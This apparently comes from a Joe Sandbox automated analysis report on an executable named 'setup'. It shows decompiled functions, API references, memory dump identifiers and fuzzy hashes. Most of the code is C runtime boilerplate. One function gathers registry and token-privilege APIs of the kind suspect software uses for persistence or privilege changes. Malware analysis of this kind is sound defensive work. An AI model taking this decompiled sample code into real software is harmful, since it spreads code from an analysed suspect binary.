Function 00406AD4 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AD4(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x437074 = _t6;
				if(_t6 != 0) {
					 *0x4376b4 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x00406ae9
0x00406aef
0x00406af6
0x00406afd
0x00406b03
0x00406af9
0x00406af9
0x00406af9

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00406AE9

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: f148e96d6b1bfc63af0ea87b27bbc43683aab17e4dfd662a84c785d994a1115b
Instruction ID: f0b348410f2410266aa0b0335de7c181c2707b6762b89ff57635c0fefdaf0051
Opcode Fuzzy Hash: f148e96d6b1bfc63af0ea87b27bbc43683aab17e4dfd662a84c785d994a1115b
Instruction Fuzzy Hash: 1AD0A7726583449FDB209FB57D097633BDCE384795F004476F94DD6190F574C550D508

Uniqueness

Uniqueness Score: -1.00%

Function 00405A51 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00405A51(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t6;
				void* _t9;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E00405925(_t3, _t4, _t5, _t6, _t9); // executed
				return _t2;
			}

0x00405a56
0x00405a58
0x00405a5a
0x00405a5d
0x00405a66

APIs

_doexit.LIBCMT ref: 00405A5D

Part of subcall function 00405925: __lock.LIBCMT ref: 00405933
Part of subcall function 00405925: __decode_pointer.LIBCMT ref: 0040596A
Part of subcall function 00405925: __decode_pointer.LIBCMT ref: 0040597F
Part of subcall function 00405925: __decode_pointer.LIBCMT ref: 004059A9
Part of subcall function 00405925: __decode_pointer.LIBCMT ref: 004059BF
Part of subcall function 00405925: __decode_pointer.LIBCMT ref: 004059CC
Part of subcall function 00405925: __initterm.LIBCMT ref: 004059FB
Part of subcall function 00405925: __initterm.LIBCMT ref: 00405A0B

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: 86b7432d7551e1c5f5f64c8caf658ba689dfc9cdf60df3cebe05f9d3b2c98193
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: F1B0927258020873DA202582AC03F063B0987C1BA4E250021BA0C2D1E2A9A2A9618489

Uniqueness

Uniqueness Score: -1.00%

Function 004065A9 Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004065A9() {
				void* _t1;

				_t1 = E00406537(0); // executed
				return _t1;
			}

0x004065ab
0x004065b1

APIs

__encode_pointer.LIBCMT ref: 004065AB

Part of subcall function 00406537: TlsGetValue.KERNEL32(00000000,?,004065B0,00000000,00408EDC,00436C40,00000000,00000314,?,00405C58,00436C40,Microsoft Visual C++ Runtime Library,00012010), ref: 00406549
Part of subcall function 00406537: TlsGetValue.KERNEL32(00000006,?,004065B0,00000000,00408EDC,00436C40,00000000,00000314,?,00405C58,00436C40,Microsoft Visual C++ Runtime Library,00012010), ref: 00406560
Part of subcall function 00406537: RtlEncodePointer.NTDLL(00000000,?,004065B0,00000000,00408EDC,00436C40,00000000,00000314,?,00405C58,00436C40,Microsoft Visual C++ Runtime Library,00012010), ref: 0040659E

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 243e19c126b98d81622cc30114ead0ed24b6ec4eaf6541f079799b0ffdb7066d
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004086D4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E004086D4(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x4364d0; // 0xd3cfd38d
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x437380 = _t6;
				 *0x43737c = _t22;
				 *0x437378 = _t25;
				 *0x437374 = _t21;
				 *0x437370 = _t27;
				 *0x43736c = _t26;
				 *0x437398 = ss;
				 *0x43738c = cs;
				 *0x437368 = ds;
				 *0x437364 = es;
				 *0x437360 = fs;
				 *0x43735c = gs;
				asm("pushfd");
				_pop( *0x437390);
				 *0x437384 =  *_t31;
				 *0x437388 = _v0;
				 *0x437394 =  &_a4;
				 *0x4372d0 = 0x10001;
				_t11 =  *0x437388; // 0x0
				 *0x437284 = _t11;
				 *0x437278 = 0xc0000409;
				 *0x43727c = 1;
				_t12 =  *0x4364d0; // 0xd3cfd38d
				_v812 = _t12;
				_t13 =  *0x4364d4; // 0x2c302c72
				_v808 = _t13;
				 *0x4372c8 = IsDebuggerPresent();
				_push(1);
				E0040ADB0(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter("xrC");
				if( *0x4372c8 == 0) {
					_push(1);
					E0040ADB0(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x004086d4
0x004086d4
0x004086d4
0x004086d4
0x004086d4
0x004086d4
0x004086d4
0x004086da
0x004086dc
0x004086dc
0x0040cb80
0x0040cb85
0x0040cb8b
0x0040cb91
0x0040cb97
0x0040cb9d
0x0040cba3
0x0040cbaa
0x0040cbb1
0x0040cbb8
0x0040cbbf
0x0040cbc6
0x0040cbcd
0x0040cbce
0x0040cbd7
0x0040cbdf
0x0040cbe7
0x0040cbf2
0x0040cbfc
0x0040cc01
0x0040cc06
0x0040cc10
0x0040cc1a
0x0040cc1f
0x0040cc25
0x0040cc2a
0x0040cc36
0x0040cc3b
0x0040cc3d
0x0040cc45
0x0040cc50
0x0040cc5d
0x0040cc5f
0x0040cc61
0x0040cc66
0x0040cc7a

APIs

IsDebuggerPresent.KERNEL32 ref: 0040CC30
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040CC45
UnhandledExceptionFilter.KERNEL32(xrC), ref: 0040CC50
GetCurrentProcess.KERNEL32(C0000409), ref: 0040CC6C
TerminateProcess.KERNEL32(00000000), ref: 0040CC73

Strings

xrC, xrefs: 0040CC4B
r,0,, xrefs: 0040CC25

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: r,0,$xrC
API String ID: 2579439406-74437915
Opcode ID: 3ab95ba9012067fb5bd8f1557dce94dd77a659638bd381f6793e438e2490e85d
Instruction ID: 1a8841c83dd26c6110e8d3d5668c0b294697ea163aff17c87e87e04b068f451e
Opcode Fuzzy Hash: 3ab95ba9012067fb5bd8f1557dce94dd77a659638bd381f6793e438e2490e85d
Instruction Fuzzy Hash: 2F21CFB8808304EBD760DF24ED856853BE4BB08704F10A17AED89977A2E7745588EF0D

Uniqueness

Uniqueness Score: -1.00%

Function 004057A3 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004057A3() {

				SetUnhandledExceptionFilter(E00405761);
				return 0;
			}

0x004057a8
0x004057b0

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00005761), ref: 004057A8

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: fe536c46b37b13d3edfe9179c478ac6247f817d3d5558fdfe5bd1ec7633a127f
Instruction ID: 2be1311190009f470a695034724d45a45aea5e066249b8feae20614b0b72c1e4
Opcode Fuzzy Hash: fe536c46b37b13d3edfe9179c478ac6247f817d3d5558fdfe5bd1ec7633a127f
Instruction Fuzzy Hash: 8C90026065150287C61037705E0D60B2690AB49B0ABA504716001E5496DAB45004A959

Uniqueness

Uniqueness Score: -1.00%

Function 0041A9A3 Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94d10710e0f735617e076a26bacb3b9e62e69bc96993f256d9e02a9a4308a499
Instruction ID: 76ca5c3d850d55c24a75d145647591653ba674268b43bdeaee591593d8608eec
Opcode Fuzzy Hash: 94d10710e0f735617e076a26bacb3b9e62e69bc96993f256d9e02a9a4308a499
Instruction Fuzzy Hash: B402CF6544F3C29FDB134BB48DB5191BFB1AE5721471E48DBC0C08E0A3E25A299ADB23

Uniqueness

Uniqueness Score: -1.00%

Function 0040E0A0 Relevance: .0, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E0A0() {

				 *0x436bb8 = RegCreateKeyA;
				 *0x436bbc = RegSetValueA;
				 *0x436bc0 = GetUserNameA;
				 *0x436bc4 = RegCloseKey;
				 *0x436bc8 = RegOpenKeyExA;
				 *0x436bcc = AdjustTokenPrivileges;
				 *0x436bd0 = LookupPrivilegeValueA;
				 *0x436bd4 = OpenProcessToken;
				 *0x436bd8 = RegQueryValueExA;
				 *0x436bdc = RegDeleteKeyA;
				return RegDeleteKeyA;
			}

0x0040e0a8
0x0040e0b3
0x0040e0bf
0x0040e0ca
0x0040e0d5
0x0040e0e1
0x0040e0ec
0x0040e0f7
0x0040e103
0x0040e10e
0x0040e114

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 646136c851b1bcfd87b40dc83d9e21adf4f9544060d280c65d9f9461e5f482c4
Instruction ID: 6e9f6cffdf5d685678871bbab0d2d938b4226c2893b2b01b1ca25d6dfda1a429
Opcode Fuzzy Hash: 646136c851b1bcfd87b40dc83d9e21adf4f9544060d280c65d9f9461e5f482c4
Instruction Fuzzy Hash: 69F01BB89042229FC364CF49FA90900BBE9B388304711D13AD918D7BB2D33169488F6C

Uniqueness

Uniqueness Score: -1.00%

Function 00413154 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d0bfc2ef7b64e396843138ab717a1f3c293dc8ee292486fa54476fd2f3b6864
Instruction ID: cad284660f4883ced9ee30f41ec3a05f4c30f90f09a2891627427e31f4271361
Opcode Fuzzy Hash: 6d0bfc2ef7b64e396843138ab717a1f3c293dc8ee292486fa54476fd2f3b6864
Instruction Fuzzy Hash: E6E0DF36650104BBC7219E4AC800CC3F7E9EB987B1709446AE94583620C234FD40C6D8

Uniqueness

Uniqueness Score: -1.00%

Function 0040669E Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 93%

			E0040669E(intOrPtr __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t46;
				void* _t47;

				_t35 = __ebx;
				_push(0xc);
				_push(0x411c30);
				E00406B04(__ebx, __edi, __esi);
				_t45 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E004057B1(_t45);
				}
				 *(_t47 - 0x1c) = _t23;
				_t46 =  *((intOrPtr*)(_t47 + 8));
				 *((intOrPtr*)(_t46 + 0x5c)) = 0x4107b8;
				 *((intOrPtr*)(_t46 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = __imp__GetProcAddress; // 0x76684ee0
					 *((intOrPtr*)(_t46 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t46 + 0x1fc)) = GetProcAddress( *(_t47 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t46 + 0x70)) = 1;
				 *((char*)(_t46 + 0xc8)) = 0x43;
				 *((char*)(_t46 + 0x14b)) = 0x43;
				 *(_t46 + 0x68) = 0x435d40;
				E00408AAA(_t35, 1, 0xd);
				 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
				_t14 = _t46 + 0x68; // 0x44e8968
				InterlockedIncrement( *_t14);
				 *(_t47 - 4) = 0xfffffffe;
				E00406773();
				E00408AAA(_t35, 1, 0xc);
				 *(_t47 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t47 + 0xc));
				 *((intOrPtr*)(_t46 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x436348; // 0x436270
					 *((intOrPtr*)(_t46 + 0x6c)) = _t32;
				}
				_t20 = _t46 + 0x6c; // 0xd3b0e8b
				E004079B9( *_t20);
				 *(_t47 - 4) = 0xfffffffe;
				return E00406B49(E0040677C());
			}

0x0040669e
0x0040669e
0x004066a0
0x004066a5
0x004066aa
0x004066b0
0x004066b8
0x004066bb
0x004066c0
0x004066c1
0x004066c4
0x004066c7
0x004066d1
0x004066d6
0x004066de
0x004066e6
0x004066f6
0x004066f6
0x004066fc
0x004066ff
0x00406706
0x0040670d
0x00406716
0x0040671c
0x00406720
0x00406723
0x00406729
0x00406730
0x00406737
0x0040673d
0x00406740
0x00406743
0x00406748
0x0040674a
0x0040674f
0x0040674f
0x00406752
0x00406755
0x0040675b
0x0040676c

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00411C30,0000000C,004067D9,00000000,00000000,?,00404B06,004084BA,004070C8,?,?,00404B06,00403150,?,00403150), ref: 004066B0
__crt_waiting_on_module_handle.LIBCMT ref: 004066BB

Part of subcall function 004057B1: Sleep.KERNEL32(000003E8,?,?,00406601,KERNEL32.DLL,?,004070F2,?,004070C2,00404B06,?,?,00404B06,00403150,?,00403150), ref: 004057BD
Part of subcall function 004057B1: GetModuleHandleW.KERNEL32(00404B06,?,?,00406601,KERNEL32.DLL,?,004070F2,?,004070C2,00404B06,?,?,00404B06,00403150,?,00403150), ref: 004057C6

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004066E4
GetProcAddress.KERNEL32(00404B06,DecodePointer), ref: 004066F4
__lock.LIBCMT ref: 00406716
InterlockedIncrement.KERNEL32(044E8968), ref: 00406723
__lock.LIBCMT ref: 00406737
___addlocaleref.LIBCMT ref: 00406755

Strings

DecodePointer, xrefs: 004066EC
pbC, xrefs: 0040674A
NhvIhvPdhv, xrefs: 004066DE
KERNEL32.DLL, xrefs: 004066AA, 004066AF, 004066BA
EncodePointer, xrefs: 004066D8

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL$pbC$NhvIhvPdhv
API String ID: 1028249917-2163350804
Opcode ID: e1857bbc9d1e6bb8f4e2d87bc823b83028546830d43aa2b616c6ca620719f3ab
Instruction ID: abaa9f14c6f8f2e8d6e212e64f2ad7d4c86823ad56839dfa00b8fe401e5cee25
Opcode Fuzzy Hash: e1857bbc9d1e6bb8f4e2d87bc823b83028546830d43aa2b616c6ca620719f3ab
Instruction Fuzzy Hash: 3D118EB1904701DED720AF669945B8ABBE0AF04314F20453FE49AA76D1CBB8A981CF5C

Uniqueness

Uniqueness Score: -1.00%

Function 00405738 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00405738() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x410198;
					_v28 =  *0x410190;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x0040573d
0x00405745
0x0040575c
0x00405708
0x00405711
0x0040571d
0x00405720
0x00405723
0x00405725
0x00405728
0x0040572d
0x00405737
0x0040572f
0x00405733
0x00405733
0x00405747
0x0040574d
0x00405755
0x00000000
0x00405757
0x00405757
0x0040575b
0x0040575b
0x00405755

APIs

GetModuleHandleA.KERNEL32(KERNEL32,004048E4), ref: 0040573D
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040574D

Strings

IsProcessorFeaturePresent, xrefs: 00405747
KERNEL32, xrefs: 00405738
NhvIhvPdhv, xrefs: 0040574D

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32$NhvIhvPdhv
API String ID: 1646373207-5371
Opcode ID: 2554d9c76869380a13cde50d1b60d7658273863855847e77b2dd55217ba1c1ac
Instruction ID: 17ee43d0c63cb5c30a77a3dbf60ecb588c2afb79b57b98ed2a36dd7b02302496
Opcode Fuzzy Hash: 2554d9c76869380a13cde50d1b60d7658273863855847e77b2dd55217ba1c1ac
Instruction Fuzzy Hash: 0BF03030A00A09E2DF106BA1AD0E7AF7B78FB80701F9105B1E696B00C5DFB984B5D74A

Uniqueness

Uniqueness Score: -1.00%

Function 00407B1F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00407B1F(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t13;
				void* _t25;
				intOrPtr _t27;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x411d00);
				E00406B04(__ebx, __edi, __esi);
				_t29 = E004067FE(__ebx, _t31);
				_t13 =  *0x436264; // 0xfffffffe
				if(( *(_t29 + 0x70) & _t13) == 0) {
					L6:
					E00408AAA(_t22, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t8 = _t29 + 0x6c; // 0x6c
					_t27 =  *0x436348; // 0x436270
					 *((intOrPtr*)(_t30 - 0x1c)) = E00407AE1(_t8, _t25, _t27);
					 *(_t30 - 4) = 0xfffffffe;
					E00407B89();
				} else {
					_t33 =  *((intOrPtr*)(_t29 + 0x6c));
					if( *((intOrPtr*)(_t29 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E004067FE(_t22, _t33) + 0x6c));
					}
				}
				if(_t29 == 0) {
					E004057E1(_t25, 0x20);
				}
				return E00406B49(_t29);
			}

0x00407b1f
0x00407b1f
0x00407b1f
0x00407b1f
0x00407b1f
0x00407b21
0x00407b26
0x00407b30
0x00407b32
0x00407b3a
0x00407b5e
0x00407b60
0x00407b66
0x00407b6a
0x00407b6d
0x00407b78
0x00407b7b
0x00407b82
0x00407b3c
0x00407b3c
0x00407b40
0x00000000
0x00407b42
0x00407b47
0x00407b47
0x00407b40
0x00407b4c
0x00407b50
0x00407b55
0x00407b5d

APIs

__getptd.LIBCMT ref: 00407B2B

Part of subcall function 004067FE: __getptd_noexit.LIBCMT ref: 00406801
Part of subcall function 004067FE: __amsg_exit.LIBCMT ref: 0040680E

__getptd.LIBCMT ref: 00407B42
__amsg_exit.LIBCMT ref: 00407B50
__lock.LIBCMT ref: 00407B60

Strings

pbC, xrefs: 00407B6D

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: pbC
API String ID: 3521780317-330213453
Opcode ID: 45b9710a4b73de0aa29c8b386814dbeff42dc50cadb88de4667a1308b75a3cca
Instruction ID: a7da31c7534f46689cafe15068b2b4f26cedb8ed1807c4cc6a3326edcb7da91d
Opcode Fuzzy Hash: 45b9710a4b73de0aa29c8b386814dbeff42dc50cadb88de4667a1308b75a3cca
Instruction Fuzzy Hash: 4CF06232E48711DBD620FB658802B4A73B0AB0071CF11413FA541B72E1CB3CB901DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 004073B3 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E004073B3(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t29;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x411cc0);
				E00406B04(__ebx, __edi, __esi);
				_t31 = E004067FE(__ebx, _t35);
				_t15 =  *0x436264; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00408AAA(_t25, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x436168; // 0x1f11648
					if(__eflags != 0) {
						__eflags = _t33;
